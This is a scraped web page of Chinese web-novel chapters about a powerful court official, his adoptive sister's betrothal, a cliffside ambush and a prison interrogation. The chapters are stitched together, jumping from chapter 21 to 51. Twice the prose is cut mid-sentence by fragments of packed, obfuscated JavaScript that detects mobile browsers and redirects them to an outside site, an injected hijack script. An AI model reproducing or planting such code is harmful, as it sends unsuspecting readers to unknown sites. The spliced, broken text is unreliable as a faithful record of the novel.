祝颂然又是心疼又是好笑,伸手轻轻点了点她的额头。 “傻丫头,婚姻大事岂能当做筹码?” “当初我嫁给那人时,也是这般觉得,勉强过去即可。可是令颐,这世间万千筹谋,唯独感情,半分都勉强不得。” 自从休夫后,祝颂然很少说起嫁人的这桩经历。 一旁的宋嘉策看着她,眼神流露出一丝心疼。 祝颂然将令颐的手攥得更紧些。 “令颐,正因为我有过一段不如意的姻缘,才更希望你能找到一个良人。” 令颐同样握紧祝颂然的手。 “师姐,你的心意我都明白,不用担心我。” “师姐之前总说我不懂得何为男女之爱,我想着,燕珩说不定能教会我。我会试着慢慢去琢磨的。” 祝颂然有些哭笑不得。 “你这个丫头,平日学什么都快,偏这事上总不开窍。” “颜先生教你的诗书礼乐一学就会,怎么到了儿女情长上,反倒要自己瞎琢磨了?” 令颐不好意思摸摸脸:“总不能什么都指望哥哥啊。” 她也觉得很奇怪,只要是哥哥点拨过的,她都能学得飞快,旁人都没这个效果。 可这男女之事…… 令颐摇了摇头,哥哥自己还未成亲呢,问他也是白问。 她心想,这件事只能自己想办法了。 * 清算阉党以来,转眼已是三月有余。 官员们奔走于各部衙门之间,惶惶不可终日。 唯有颜彻,始终端坐内阁,静待各方消息递到案前。 他落下的每一道令,都似棋盘上轻描淡写的一子,看似随意,却步步紧逼,暗藏杀机。 原本还在观望的官员彻底体会到了这位大人的可怕之处。 这日,颜彻入宫面圣,邵玉、鲁贽和一众官员随行。 宣和帝年幼,还无法亲政,朝中大事皆由太皇太后定夺。 太皇太后翻阅案上奏折:“颜卿,这平反昭雪之事,你打算如何处置?” “回太皇太后,臣已拟好名册,该平反的,必当昭雪,该问罪的,一个不漏。” “至于那些左右逢源之人,臣自有分寸。” 太皇太后抬目看向他,眼底闪过一丝深意。 比起上次见面,此人更加从容了,似乎对什么事都势在必得。 她轻轻合上奏折。 “颜卿,你总是这般气定神闲,好像这天下事,都尽在你掌握之中。” “哀家对你一向放心,可你要知道,人心最是难测。你年纪轻轻就身居高位,不知有多少双眼睛在暗处盯着,万事可要当心。” 颜彻微微躬身,面色清冷如霜。 “多谢太皇太后垂训,不过对臣来说,人心,却是最好掌控的。” 回府时,已是暮色沉沉。 颜府的马车停在门前,刚一下车,管家赵福忠就急匆匆迎上来。 “大公子,淮容侯府登门拜访,人就在厅内候着。” 此前淮容侯府数次递上拜帖或是请帖,都被颜彻以各种理由回绝了。 这次倒好,他们直接找上门来,颜府总不能把他们轰出去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834472|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >颜彻道:“就说我公务在身,不便接待。” 赵福忠声音有几分急切:“大公子,这次的怕是不好回绝。” “淮容侯他们,是来提亲的。” * 正厅内,淮容侯燕平昌搁下茶盏,看向对面的年轻男子。 已经两盏茶时间了。 颜彻竟然能沉住气到现在,只字不提他今日的来意。 先是跟他聊了军马政,又聊了边关粮饷调度,句句尖锐。 这两件恰恰都是他主理却屡遭圣上申饬的要务,此人每一句话都似有深意,却又让人抓不住把柄。 他频频喝茶,压下心头的不适。 想他燕平昌武将出身,也曾征战沙场,身上皆是刀光剑影淬炼出的杀伐之气,此刻竟被不动声色地压制。 而面前这位年轻的重臣只是静坐着,姿态从容,连腰间玉带的流苏都纹丝不动,却莫名让人喘不过气。 坐在下首的燕珩同样坐不住了,目光频频望向厅门方向。 可为了令颐,他同样选择了忍耐。 颜彻将两人的神色尽收眼底。 “侯爷今日来得突然,前些日子收到拜帖,本想着您会早些登门,没想到竟耽搁至今。” 淮容侯眉头微皱。 分明是颜府屡次无视邀约,这话倒像是他们失约在先。 “颜大人说笑了,今日前来,其实是为小儿怀瑾与令妹之事。” 颜彻温和一笑。 “我记得侯爷当年说,令颐年纪尚小,婚事不必着急,怎么今日倒主动提起。” 淮容侯噎住,当年退婚之事,确实是他们侯府理亏。 风水轮流转,以颜彻如今在朝堂上的身份地位,换成他们侯府要巴结这门亲事了。 他强忍着情绪:“当年,是老夫考虑不周,还望大人海涵。” “小儿和令妹在宫中相识,两人甚是情投意合。老夫想着,既然两个孩子两情相悦,我们这些做长辈的,也不该耽误了这桩良缘。” 对于一个一品军侯来说,这番话已是将姿态放得极低。 颜彻慢条斯理端起茶盏,不为所动。 “令颐自幼养在我身边,性子如何,我最清楚。若真是一桩良缘,我这个做兄长的,自然不会拦着。” 这话里的弦外之音再明显不过,你们淮容侯府,未必就是良缘。 淮容侯脸色渐沉,正要发作,却见颜彻放下茶盏,发出清脆的碰撞声。 “既然侯爷亲自登门,不如我们商量下三书六聘之事?” 这一句话恰到好处,瞬间消融了满室寒意,仿佛对淮容侯的心思了如指掌。 淮容侯登时转怒为喜:“正该如此,正该如此!” 燕珩闻言更是大喜过望,几乎是从座位上弹了起来,险些带倒了桌上的茶盏。 “大人,可否容晚辈前去看望令颐?” 得到默许后,他几乎是三步并作两步飞奔出了正厅。 20. 第 20 章 池塘边,令颐正蹲下身采下一束花枝。 正值妙龄的少女无须太多装饰,一袭淡粉色裙柔柔铺展,手里抱着嫩黄的花束,甜净而柔媚。 一阵急促的脚步声由远及近,传到她耳畔。 她讶然回首,一抹熟悉的明黄色身影向她奔来。 “燕珩?!” 少女惊呼一声,手中花枝跌落在青石板上。 燕珩已奔至她跟前,气息微喘,俊脸上是藏不住的喜悦。 他俯身拾起花枝,塞回令颐微凉的手中。 “都说了多少次了,叫我阿珩。” 声音里带着少年人特有的爽朗和不容拒绝的亲昵。 不光如此,马上就要叫夫君了。 侍立一旁的芳菲和晴雪见状,掩唇偷笑,两人交换了一个心照不宣的眼神。 她们默契地屈膝行礼:“姑娘,燕世子,奴婢们先告退了。” 待人走后,令颐还懵懵的:“你怎么过来了?” “我想你了,一刻也等不得,就想立刻见到你。” 令颐疑惑地看着他。 见她又羞又疑的可爱模样,燕珩朗声笑起来:“逗你玩的,我是来提亲的!” 他手臂揽住令颐的腰肢,稍一用力,便将她整个人抱离了地面! “诶?!” 令颐骤然双脚腾空,吓得花容失色。 “你干嘛,快放我下来!” 她惊慌失措环顾四周,生怕被人瞧见。 少女粉色的衣袖随着动作拂过燕珩的脸颊,一股清幽淡雅的女儿香若有似无地萦绕鼻端。 “不放。” 燕珩越发心痒难耐,恨不得现在就抓了她回侯府拜堂。 “马上就是我的人了,让我抱一会怎么了?” “燕珩!” 令颐眼含怒气,显然真的恼了。 燕珩终于依依不舍把人放下来,双手却仍虚扶在她腰间,仿佛怕她跑了似的。 令颐揉了揉被她箍得生疼的腰,没好气地瞪了他一眼。 “莽夫,一点轻重都没有!” 燕珩浑不在意她的嗔怪:“我家小娘子骂人都这么可爱。” 令颐脸颊涨红:“谁是你小娘子!” “好好好不逗你了,别生气了,嗯?” 燕珩俯下身,语气放柔:“你之前答应嫁给我的,可不能反悔。” 令颐哦了一声,不自然别开了眼。 其实这些日子,她冷静下来想了想,觉得自己应下婚事时,似乎太过冲动。 虽说世家联姻本就是利益交换,可燕珩待她极好,对她的喜欢很纯粹。 她不能为了哥哥就耽误了他,这对他不公平。 她一直想着,找个合适的机会跟燕珩开口。 燕珩见她突然沉默,以为她还在生气,凑近安哄。 “别恼了,待我们成亲后,我们去游山玩水,玩个一年如何?” “我都规划好了,咱们先把京城玩个遍,再去汴西,你不是喜欢江南小镇吗?我们就去那儿住上一阵,只有我们两个人,你想去哪儿我都陪着你……” 远处回廊下,颜彻负手而立。 长睫垂下淡淡阴翳,漆黑静敛的眼底没有一丝情绪。 赵福忠垂首站在一旁,欲言又止。 他记得,颜彻早就命人备好了南下的马车,准备料理完宫中的一切,带二姑娘出去玩一阵子。 还给二姑娘准备了一把绢伞,特意请京城最好的绣娘做的。 赵福忠低下头,不敢去看颜彻的脸色。 颜彻却开了口:“赵管家,你在想什么?” 赵福忠不想回答这个问题。 他嗓音不自觉发紧,只能装糊涂道:“老奴在想,江南是个不错的地方,很值得去游玩。” “是么。” 颜彻淡淡道,目光落在远处那对璧人身上。 夕阳熔金,温煦的余晖柔柔笼罩着他们,少年意气风发,少女娇羞可人。 当真是美好的一幕。 “是,我也这么认为。” 他唇角微扬,露出个温雅如玉的笑容。 仿佛方才的凝望只是闲暇时的驻足欣赏。 “回去吧,侯爷还在里面候着。” * 淮容侯一行人走后不久,赵福忠找上令颐。 “二姑娘,大公子说要见你。” 令颐随他回到正厅,檀木案几上的茶盏还残留着余温。 颜彻端坐主座,见到她,脸上浮起温润的笑。 “令颐,你来。” 令颐乖乖走上前,坐到哥哥身边。 牙齿不自觉咬着唇上的小痣。 每次哥哥这般语气,就是有重要的话要跟她交代。 颜彻却并未急着看口,目光落在她腰间的绦带上。 打的结带变得软塌塌的,腰间衣裳处多了很多褶皱,发髻也有些凌乱。 被人抱过。 他不着痕迹收回目光:“方才淮容侯登门拜访,你可知是为了什么?” 令颐点头:“知道……” “那好,告诉哥哥,你是真的想嫁给燕小侯爷吗?” 令颐闻言顿住,垂眸思索良久。 “哥哥,其实……这些日子我也在想这个问题。” “怎么想的,说来听听?” 令颐嘟囔着嘴:“我觉得,我不知道什么是喜欢,更不明白男女之情。有时候我觉得,就这样糊里糊涂地嫁人,对阿珩太不公平了。” “我脑海里总有两个声音在吵,一个说做人要言而有信,既然答应了就不该反悔。另一个却说,我不能因为一时冲动就耽误他的一生。” 颜彻搁下茶盏,认真看着她。 令颐继续说:“至于阿珩,我觉得,他有点……嗯……鲁莽,还经常欺负我……” “但他很认真地说,要娶我。” 说到这,她抬头看了一眼颜彻。 见他仍耐心听着,便鼓起勇气往下说。 “而且,有一点我很确定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847607|174463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他是真心待我的。若我们成亲,他一定会对我很好很好。” “师姐常说,易得无价宝,难求有情郎。所以我会想,和他在一起后,我说不定能明白什么是喜欢。” 她抬起脸:“所以哥哥,我是愿意嫁的。” 颜彻:“但你心里还是有些迷茫,是吗?” 令颐点头:“对。” “是因为你觉得,自己还不懂什么是喜欢?” 令颐又连连点头。 “好,我知道了。” 颜彻沉吟片刻:“既然如此,那我们就应下这桩婚事,哥哥会送你风光出嫁。” “我家妹妹的婚事,不会比京城任何人差。” 令颐起身抱住他,声音软糯:“谢谢哥哥。” 颜彻顺势将她搂在了怀里,轻拍她纤薄的背,像在安哄。 赵福忠看到这一幕,默默退下了。 令颐搂着哥哥的脖子,靠在他肩膀上。 “哥哥如今身居高位,妹妹也要嫁人啦。” 她托着粉腮,眉眼俱是女儿家的娇羞。 “是啊。” 颜彻淡淡应了一声。 “令颐,我还有一件事要与你说。” 令颐微微坐直身子:“嗯嗯?” “阉党已除,先前的冤案由我主事,大多已开始沉冤昭雪,你父亲那桩案子,也该有结果了。” “正好你与侯府议亲在即,我想着趁此机会将你家人接来,让你们团聚。” “虽说如今景州闹旱灾,你父亲暂时脱不开身,但是来京城见见你倒是没问题。” 他唇角扬起:“以后,你便认祖归宗,换回姜家女儿的身份。” 姜家女儿? 姜令颐。 这个陌生又熟悉的名字在令颐心头滚过,令她一阵恍惚。 自从八岁开始,她便跟在浔之哥哥身边,早已习惯了颜家小姐的身份。 以后,她就不再是颜家小姐了么? 泪水不自觉就涌出了眼眶,吧嗒吧嗒地往下掉。 颜彻温柔摸她的头:“怎么哭了,这是好事。” 小姑娘哽咽着扑进他怀里:“那以后……我不是颜家姑娘了,就要离开哥哥了吗?” “我不要离开哥哥……我不要……” 眼泪顺着她白软的脸颊滚落,砸在年轻郎君衣衫上。 颜彻将小姑娘搂紧了些,仿佛这样就能给她更多的安全感。 “令颐,你是我唯一的妹妹,即便换了姓氏,这份兄妹之情也不会变。” 覆在她腰间的力道微微收紧,无声表达着他的立场。 门外,捧着茶盘的侍女正要入内,被赵福忠拦下。 “大公子和二姑娘正在叙话,没事不要进来打扰。" “是。” 赵福忠看向屋内,兄妹温情的一幕甚是动人。 只是,二姑娘没有意识到一件事。 若她不再是颜家人,她和大公子之间那些世俗的礼教束缚,便不复存在了。 21. 第 21 章 颜府门前,令颐伸着脖子张望着,脸上尽是焦急。 “怎么还不来?怎么还不来……该不会路上出了什么岔子吧……” “诶呀,爹娘这么久没见我,会不会……会不会认不出我了!” 芳菲笑着安慰:“怎么会呢,老爷和夫人最疼姑娘了,怎会认不出来?” 眼瞧她急得团团转恨不得自己去城门接,芳菲柔声道:“姑娘莫急,赵管家办事一向妥当,老爷和夫人兴许马上就到了。” 正说着,远处传来马蹄声与车辙声,一辆青帷马车缓缓驶来。 令颐的心猛地一跳,眼睛一眨不眨地盯着那辆马车,直到车帘掀开。 姜朔和虞氏先后下了马车,也在朝府门处张望。 “令令!” 虞氏一眼便认出了女儿,声音哽咽,泪水瞬间涌出。 听到这一声令令,令颐眼泪“唰”地落下来。 她提着裙摆飞奔过去,一头扑进父母怀里。 “爹、娘!我好想你们啊……呜呜……” 小姑娘泪珠子啪嗒啪嗒往下掉,像是要把这些年的委屈和思念一股脑儿哭出来。 姜朔同样眼眶微湿,伸手抚了抚女儿的发顶。 “长高了,也长大了。” 他哽咽比划着:“爹娘上次见你时只有这么点,还是个小粉团呢,现在都出落成大姑娘了。” 虞氏捧起女儿的脸仔细端详:“快,让娘好好看看你,这么些年可有好好吃饭?身体怎么样?晚上可还睡得着?” “爹,娘,不用担心,浔之哥哥把我照顾得很好,吃的香睡的饱。你们看,我都被养得胖乎乎了。” 令颐捏了捏自己肉乎乎的脸颊。 “那就好那就好……” 一家人紧紧握着手,眼眶都涌满了泪水,芳菲看着这一幕也在一旁偷偷抹眼泪。 令颐发现少了人,忙问:“伯聿阿兄呢,他怎么没来?” 虞氏含泪笑道:“你阿兄在军中公务繁忙,加上你嫂子生病,他便留下了。” “他特地嘱咐我们给你请罪,让你别怪他。还说待你回景州时,让你多抱抱小侄。” 令颐急了:“阿兄说什么话呢,我怎么会怪罪他!” 姜朔和虞氏慈爱摸了摸乖女儿的头。 赵福忠见几人站在风口叙话,上前道:“姜大人,虞夫人,外头风大,快进府里说话吧。” 令颐这才回过神来,敲了下自己的脑袋:“瞧我,高兴的都忘乎所以了。” 她脸上绽开两个梨涡,一手挽着母亲,一手拉着父亲,欢欢喜喜地往府里走。 一路上,她嘴里不停地问:“爹娘路上累不累?景州可好?阿兄入了军营操练可辛苦?” “好好好,都好。” 姜朔道:“多亏你浔之阿兄,伯聿如今入了赤羽军跟在秦放将军麾下,在军中颇受重用。” 几人到正厅,侍女们早已备好了茶。 虞氏温柔握住女儿的手。 “令令,你浔之阿兄在信上说,你与侯府世子就要成亲了?” 令颐像被人捏住了后颈,整个身体一僵。 她低着头,声音细弱:“嗯,是的……” 这副模样落在姜氏夫妻眼中,只当是女儿家谈及婚事的娇羞。 姜朔道:“好,好,为父也算是搁下一桩心事。” “你这丫头从小就和别家姑娘不一样,成天傻乎乎的,你不知道我和你娘有多操心。” 姜氏夫妻并不知道侯府退婚一事,只当两人终于修成正果。 虞氏道:“是啊,我家的傻丫头也要为人妇了。” 她拉住令颐的手絮絮叮嘱:“令令,嫁人之后就不再是小姑娘了,将来要好好服侍夫君,侍奉公婆。” “侯门最是看中品性,你要时刻铭记贤良淑德,早日在婆家立足……” 虞氏拉住她的手交代不停,恨不得把一生的经验都交给她。 令颐听着阿娘的温柔嘱托,心里乱糟糟的。 “娘,我怕我做不好……我根本不知道如何侍奉夫君,我连绣个鸳鸯枕套都能把手缠到一块,能当得了侯府的媳妇吗?” 令颐伏在虞氏膝上。 “我不知道能不能做到像娘这样,当好一家主母。” 她心里还有好多疑惑,甚至连自己是不是真的喜欢燕珩都不知道。 虞氏安慰她:“傻丫头,没有人生来就知道这些的,很多事都要靠你慢慢学,重要的是用心。” 令颐虽不甚明白,可还是乖巧点点头。 …… 颜彻回府时已是掌灯时分。 赵福忠向他禀告,说姜大人夫妇已经平安接了回来,在府中安顿下。 “姜大人说想见一见大公子,现就在书房候着。” 颜彻微微颔首,随口问道:“令颐今日很高兴吧?” “是啊,下午带姜大人和虞夫人去同文馆,又在京城逛了一圈,这会儿正和虞夫人在房里说体己话呢。” 颜彻眼中掠过一丝柔和:“她盼了这么久,自然欢喜。” 说罢,他径直往书房而去。 屋内,姜朔正立在窗前。 景州多年的艰苦生涯没有蹉跎他的心性,他的背影依旧挺拔如松,不失气度。 “老师。” 颜彻轻声唤道,嗓音低沉温和。 姜朔闻声回头,目光落在颜彻身上,细细打量片刻,眼中浮现起欣慰之色。 “浔之,我们一别已有十年了吧。” 眼前郎君早已褪去少年的青涩,比上次见到的更加沉稳,练达通透,身上多了些渊渟岳峙之气。 整个人带着坐拥天下的威仪,处变不惊的沉稳,又不失文人雅士的温润。 真是国器啊,他在心里感叹道。 颜彻上前几步,郑重行了一礼。 “学生一直未能再回景州拜见,心中甚愧。” 姜朔伸手扶住他。 “你入内阁辅佐天子,我身为你的老师,心里自是无比骄傲,又怎会怪你?” 他语气感慨:“当年是庆隆九年吧,我在江边初见你时你尚是个少年郎君,如今已是国之栋梁了。” 颜彻微微一笑:“老师当年赠我犀带,称我为小友,这份知遇之恩,学生从未敢忘。” 两人从庆隆九年一直聊到建兴四年的兵变。 “当初阉党当道,我姜家平遭劫难,同僚皆避之不及,到头来,只有你一人还前去诏狱探望。” 颜彻道:“学生已着手清理阉党犯下的冤案,不日老师便可恢复清名,不再是罪臣之身。” “至于调回京城之事,待景州灾情平定,学生会尽快安排。” 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“而且,令颐年纪尚小,多留些时日备嫁也是好的。” 淮容侯仍有些微词,但毕竟要考虑到令颐的父母,最终还是沉着脸答应了。 赵福忠在一旁听着,全程默不作声。 他是了解大公子的,若他真想促成婚事,大可以请圣上特批姜氏夫妇提前回京,或是让新人去景州拜见岳家。 可他选择了这种最费周折的法子。 他心底了然,像往常一样,选择了闭口不说。 令颐对这些弯弯绕绕浑然不觉。 对她来说什么时候成亲都一样,她更在乎的是另一件事。 “爹娘怎么刚来就要走啊……” 颜府门前,她耷着脸小嘴往下一撇,委屈得要哭了。 “令令乖,爹娘也舍不得你。” 虞氏将女儿紧紧抱在怀里:“如今景州大旱,百姓还等着你爹爹回去主持大局。” 姜朔不舍摸了摸女儿的头。 “等过了这阵子,爹娘再和你大哥来京城陪你,好不好?” “到时候我们还要亲眼看你风风光光出嫁呢。” “嗯嗯,爹娘记得给我寄信!” 说完又佯作娇嗔补充了一句:“要写长一点的,不许只写两句话打发我!” 姜朔和虞氏相视一笑,连连应下。 马车渐行渐远,最终消失在长街转角。 芳菲和赵福忠连忙上前安慰令颐。 “二姑娘别难过,大公子不是说了嘛,老爷马上就能调回京了。” 令颐拿帕子揉了揉眼睛:“我才没难过呢,我就是风沙迷了眼。” “阿娘说我要嫁人了,不能总像个小姑娘似的哭哭啼啼。” 芳菲笑道:“哪儿的话,大公子都说了,在大公子面前,姑娘永远是小姑娘呢。” 赵福忠在一旁道:“姑娘虽改了姜姓,但仍是咱们颜府的掌上明珠。大公子吩咐了,一切吃穿用度照旧,您千万别有负担。” “嗯嗯,谢谢哥哥,谢谢赵管家。” 令颐心里暖融融的,她知道哥哥待她极好。 50-60 第51章 第51章“妹妹,是我的药”…… 冰冷的空气瞬间侵袭少女温热的肌肤。 令颐发出一声短促的惊呼,下意识想挣脱他的桎梏。 却在触及颜彻那痛苦又带着无尽哀求的眼神时,僵住了身体。 颜彻眼底翻涌着剧痛的狂澜,还有一种近乎绝望的哀求。 仿佛濒死野兽的凝视。 是她,从未见过的模样。 他牙关紧咬,额上青筋暴起,抓住那支嵌入骨肉的箭。 没有犹豫,没有停顿,他将箭矢狠狠向外拔出。 “噗嗤——” 一道血肉与金属强行分离的黏腻闷响。 疼痛如烈火般席卷全身,颜彻的身体剧烈地弓起,又重重砸回地面。 全身的肌肉都在颤抖,汗水混着血水浸透了衣衫。 一幕幕噩梦般的画面尖啸着袭向脑海—— 父亲冰冷的尸体,姐姐在金盏中的肌肤…… 后来……后来是他自己。 禹王府的仇人在他脚下哀嚎,他俯身,腥甜在齿间碾磨。 血染红了他的衣襟,剧烈的呕吐感几乎撕裂喉管…… “唔!” 回忆带来的精神酷刑远比肩头的创口更甚百倍。 他的指节因过度用力而惨白,指甲深深抠进身下的泥土碎石。 意识即将迸裂的刹那,他染血的唇印在少女袒露的肌肤上。 触到的刹那,令颐的身体瞬间僵硬如石。 一股电流窜过四肢百骸,带着令人战栗的酥麻。 她能清晰地感受到他唇舌的灼热,还有呼吸喷在肌肤上带来的麻痒。 这感觉如此陌生,仿佛灵魂都被他这血腥的吻攥住。 她的大脑一片空白,只剩下那片滚烫的触感。 “哐当——!” 箭矢带着一蓬血雾,彻底拔离他的身体,落在碎石上。 颜彻紧绷的身体骤然脱力,整个人虚脱地瘫软下去。 紧扣在令颐后颈的手松开了力道,颓然滑落身侧,只剩下胸膛剧烈的起伏和破碎的喘息。 唇却依旧停留在那片被他吻得泛红的肌肤上,留下清晰齿痕。 谷底陷入一片死寂,只剩下两人交织的、急促而不稳的呼吸声。 令颐的手指颤抖到无法控制,撕下自己的衣襟,一层层按压缠绕在他肩头的创口上。 颜彻侧过头,嗓音低哑破碎。 “没事的令颐,别怕……” 每一个字都像从胸腔艰难挤出。 “这点血,无所谓的。” 他染血的手在自己尚未完全污损的衣角上轻轻擦拭了几下,动作带着一种事不关己般的漠然。 仿佛沾染的不是自己的血,而是什么无关紧要的尘埃。 “我不怕,哥哥……” 令颐泪水决堤:“我刚才以为,哥哥要离开我了……” 少女纤细的手一遍遍擦着泪,却越擦越多,哭得令人心碎。 “要是哥哥死了,令颐也不想活了……呜呜……” …… 暮色一点点吞噬谷底的光线。 颜彻的每一次呼吸都异常沉重,失血带来的冰冷正从四肢百骸向内侵蚀。 两人互相支撑着,挪进一个勉强能遮蔽风雨的山洞。 刚安置好,一只灰褐色的兔子从草丛中钻出。 支起身子,好奇张望着里面的两人,鼻子一动一动。 许是被血腥气刺激到,它一蹦一跳消失在洞口,留下一阵窸窣的轻响。 令颐撕下自己仅存的里衣,一层层缠绕在颜彻肩头的创口上。 布料迅速被温热的液体濡湿。 颜彻的脸色在昏暗中呈现出一种近乎透明的的惨白,唇上仅存的血色也褪尽了。 “哥哥,你别睡……你看看令颐……” 她害怕这无边的黑暗,更害怕哥哥眼中那点微弱的光芒就此熄灭。 没有水,没有药,她能想到的唯一办法,就是用自己的存在去唤醒他。 她俯下身,一遍遍亲吻他的额头、眼睑、鼻梁,最后落在他失去血色的唇上。 吻得细碎而慌乱。 颜彻的眼睫剧烈地颤动了几下,艰难地掀开一道缝隙。 洞外微弱的天光勾勒出令颐近在咫尺的轮廓。 她发髻散乱,本就破碎的衣衫凌乱不堪,大片雪白和柔美的肩颈线条在昏暗中若隐若现。 “怎么没穿好衣服啊?会着凉的。” 温柔体贴的语气,仿佛眼前不是濒死绝境,而是家中寻常的清晨。 令颐低头看了看自己,又看了看他肩上厚厚的布料。 那全是她的衣物。 委屈和后怕瞬间涌上心头,她声音带着哭腔:“哥哥,我的衣服都在你身上了。” 颜彻动作僵了一下。 然后,默默解开自己身上那件相对完整的外袍。 动作牵扯到伤口,他连哼都没哼一声,将袍子裹在令颐身上。 “哥哥?” 颜彻没说话,将人抱在自己怀里,下巴抵住她柔软的发顶。 “对不起。” 他声音低沉得如同深渊的回响。 “是哥哥的错,我没料到韩家还跑了一个余孽。” “韩家?”令颐在他怀中抬起泪眼朦胧的脸。 “嗯。” 颜彻闭了闭眼,再睁开时,眼中一片寒潭。 “前些时日处置过韩家的一个官员,方才那人,是他的儿子。” “斩草未能除根,才酿成今日之祸。” 他垂眸,看向妹妹清澈的眸子。 “哥哥手上沾过很多人的血,怕不怕?” 令颐毫不犹豫地摇头,更紧地回抱住他冰冷的身体。 “不怕!哥哥杀的都是该杀之人,都是坏人!哥哥做的都是对的!” 颜彻的喉结滚动了一下,发出一声极轻的叹息。 冰凉的手指轻轻抚过她脸颊的泪痕,动作竟极尽温柔。 “可是,我却让你陷入慌乱,命悬一线。” “哥哥这条命无所谓,可若你因此而死……” 他猛地停住,深不见底的黑眸中,翻涌起令颐从未见过的森冷。 “哥哥不知道自己会变成什么样子,不知道自己,会疯成什么模样。” 明明是笑着说的,却字字如刀,仿佛能刻进人的骨髓。 令颐怔怔看着他。 她的心脏仿佛被攥住,一时连呼吸都忘了。 就在这时,远处闪过数点火光,伴随着一阵由远及近的人声。 颜彻瞬间警觉,几乎是本能地将怀中人护进自己怀里。 眼眸锐利如鹰隼,捕捉声音的来源。 令颐吓得身子发颤:“哥哥,是那些人来捉我们了吗?” 颜彻凝神倾听片刻。 “不是,是我们的人。” 话音刚落,一个熟悉的声音响起:“大人!姑娘!你们在哪儿?!大人——!” “是赵管家!” 令颐眼中瞬间爆发出惊喜,几乎要哭出来。 洞外脚步声迅速逼近,火把的光芒照亮了洞口。 赵福忠焦急万分出现在火光中,看到洞内依偎的两人,尤其是颜彻身上那触目惊心的伤势和染血的箭杆时,脸色瞬间煞白。 “快!快来人!把大人和姑娘小心抬上软轿!小心大人的伤!” “快!医官!医官呢?!” 训练有素的亲兵立刻抬着早已准备好的软轿上前,将两人分别安置。 “先照顾姑娘。”颜彻躺在软轿上,气息微弱。 “是!是!” 赵福忠连忙应声,赶紧指挥人给令颐包扎伤口,小心披上厚毯。 直到看到令颐被妥帖安置好,颜彻才将视线转向赵福忠。 那双因失血而略显涣散的凤眸,凝聚起迫人的寒光。 “韩烨那帮人解决了吗?” 赵福忠连忙躬身,脸上带着后怕:“回大人,那韩烨带着的几个亡命徒,根本不是亲卫的对手,一个没跑掉。” “韩烨那厮已被生擒,捆得结结实实,等候大人发落。” “嗯。”颜彻闭了闭眼,只吐出一个字. “那就好。” * 颜彻伤得极重,肩胛骨几乎被箭矢贯穿,失血过多。 加上坠崖的剧烈震荡,大夫们足足忙活了三日才勉强将他从鬼门关拉回来。 颜彻躺在床上,令颐就坐在一旁,满脸担忧看着哥哥。 “哥哥,还疼么?” 她拉着颜彻的手,小声问道。 颜彻抿开一抹笑:“妹妹牵着就不疼了。” 一旁,须发皆白的老大夫正小心翼翼地为他肩头换药。 听见这话,又瞧了瞧颜彻看向妹妹时眼中化不开的温柔。 他眼珠转了转。 “大人此番伤及根本,若想恢复得快些,气血充盈是其一,更要紧的是放下心头郁结,静心调养,时刻保持心境平和舒畅。” 老大夫顿了顿,目光扫过一旁俏丽的小姑娘。 补充道,“最好能有亲近信赖之人在旁悉心陪伴,于大人心神大有裨益。” 令颐眼睛立刻亮了,急切地看向大夫:“那我日日守在哥哥身边,寸步不离,哥哥是不是就能好得快些了?” “正是此理。” 老大夫捻须颔首。 “若能如此,姑娘的陪伴,便是最好的良药。” 赵福忠眼皮跳了跳,惊疑不定地偷瞄这位大夫。 他琢磨了多少年才琢磨明白的门道,你个老东西一下就学会了? 颜彻笑着抚了抚妹妹的脸颊。 待大夫收拾药箱躬身退下,颜彻转向令颐,温声道:“妹妹,你先回自己房里歇息片刻可好?哥哥晚些时候再陪你。” 令颐的小嘴立刻不高兴地撅了起来:“哥哥又要忙那些公事吗?大夫才说要静养。” 颜彻耐心哄着:“还有些尾巴需要收拾干净,很快的,等哥哥处理完就专心陪你。” 小姑娘道了句“好吧”,不情不愿地走了。 待那抹娇小的身影消失在门外,房内温暖的气氛瞬间冷凝。 颜彻脸上的暖意消失无踪,只剩下深潭般的沉寂。 他看向赵福忠,声音平静无波:“韩烨现在何处?” “回大公子,已被关进县衙大牢。” “更衣,随我去看看。” 颜彻撑着未受伤的手臂便要起身,赵福忠大惊,连忙上前一步想搀扶。 “大公子,您的伤……” “无妨。”颜彻打断他。 赵福忠只得颔首:“是,大公子。” 第52章 第52章“今天的小衣是什么颜色…… 县衙死牢深处。 韩烨被精钢锁链牢牢禁锢在刑架上,衣衫褴褛,满身血污,先前贵公子的骄矜形象早已荡然无存。 他听到动静,抬起头,死死瞪着牢门外那个坐在太师椅上的身影。 颜彻安然坐在一张铺着锦垫的太师椅上,与周遭地狱般的环境格格不入。 墨色云锦长袍衬得他脸色愈发苍白,几乎与身后冰冷的石壁融为一体。 他姿态闲适地靠在椅背上,仿佛只是来地牢欣赏一出不甚精彩的闹剧。 一名侍从端着托盘,将几样饭菜摆在小几上。 颜彻目光淡漠掠过那些菜肴,最终落回韩烨那张扭曲的脸上。 “听说令尊韩大人,在扬州时最爱这道‘玉脍生辉’,取的是未足岁小鹿最嫩的里脊,片成薄片,以寒泉浸透,佐以十年花雕与西域秘制香料生腌三日,方得此清甜脆嫩之味。” 他顿了顿,凤眸里没有愤怒,只有一种令人毛骨悚然的审视与回味。 “可惜,他最后一口尝到的味道,是滚烫的烙铁烫在喉咙上的焦糊味。那声音,本官至今记忆犹新。” 韩烨的身体剧烈地颤抖起来,牙齿咯咯作响。 “颜浔之,你这个畜生!” 